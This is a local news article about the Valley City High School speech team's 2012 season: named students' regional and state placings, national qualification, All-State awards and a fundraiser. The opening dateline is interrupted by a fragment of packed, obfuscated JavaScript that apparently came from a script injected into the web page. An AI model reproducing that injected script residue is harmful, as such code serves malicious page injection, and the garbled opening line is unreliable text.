VALLEY znddi|var|u0026u|referrer|drtza||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com) The Vally City High School Speech Team wrapped up its 2012 season with state competition and attempts to qualify for national competition this June in Indianapolis. Nick Lee was able to qualify for the National Forensic League Tournament and will compete with an original oratory about welfare reform at the national level. He will also compete in supplemental categories of poetry and storytelling.

Others competing in the National Forensic League National Qualifying Tournament were: Andrew Kawasaki, Paul Viland, Sunni Watkins, Samantha Sayler, Destiny Winkler, Jessica Gylden, Beth Berntson, Aislinn Fogarty, Saidee Oberlander, and Tia Wagar.

The EDC Region Tournament was held in Valley City on April 14. EDC Champs for VCHS were Beth Berntson in speech to persuade, Jessica Gylden in EPR, and Jessica Gylden/Destiny Winkler in Humorous Duo. Also advancing to state competition out of the EDC were: Nick Lee, Sunni Watkins, Keely Fogarty, Samantha Sayler, Adam Hart, Aislinn Fogarty, Carl Vinje, Tanner Clark, Tia Wagar, Dempsey Williams, Mikaylah Ross, and Nathan Bader.

At the State Tournament in Devils Lake on April 21 the following finishes were obtained: Sunni Watkins, third in entertain, and fourth in poetry; Nick Lee, fourth in speech to persuade; Beth Berntson, sixth in speech to persuade; Tanner Clark, eighth in radio; Carl Vinje and Destiny Winkler, fifth in serious duo; Aislinn Fogarty and Tia Wagar, eighth in serious duo. Jessica Gylden received a Superior Speaker medal in EPR, and Adam Hart received a Superior Speaker medal in Humorous.

Nick Lee and Samantha Sayler received the Class A All-State Award. Those competing in four different categories throughout the season and placing in the top twenty percent in each of those categories achieve All-State status.

As the speech season comes to a close, the participants will receive awards at the VCHS Fine Arts Award night on May 14 at 7:30 pm in the Hi-Liner Activity Center. Some of the students will be performing their speeches that evening if anyone would like to watch.

Also, the speech team is currently doing a fundraiser to help send Nick Lee to nationals. If interested, the public can assist the speech team by stopping by the High School Administration parking lot on Saturday, May 12 from 10 am to 2 pm for the truckload Schwan’s sale.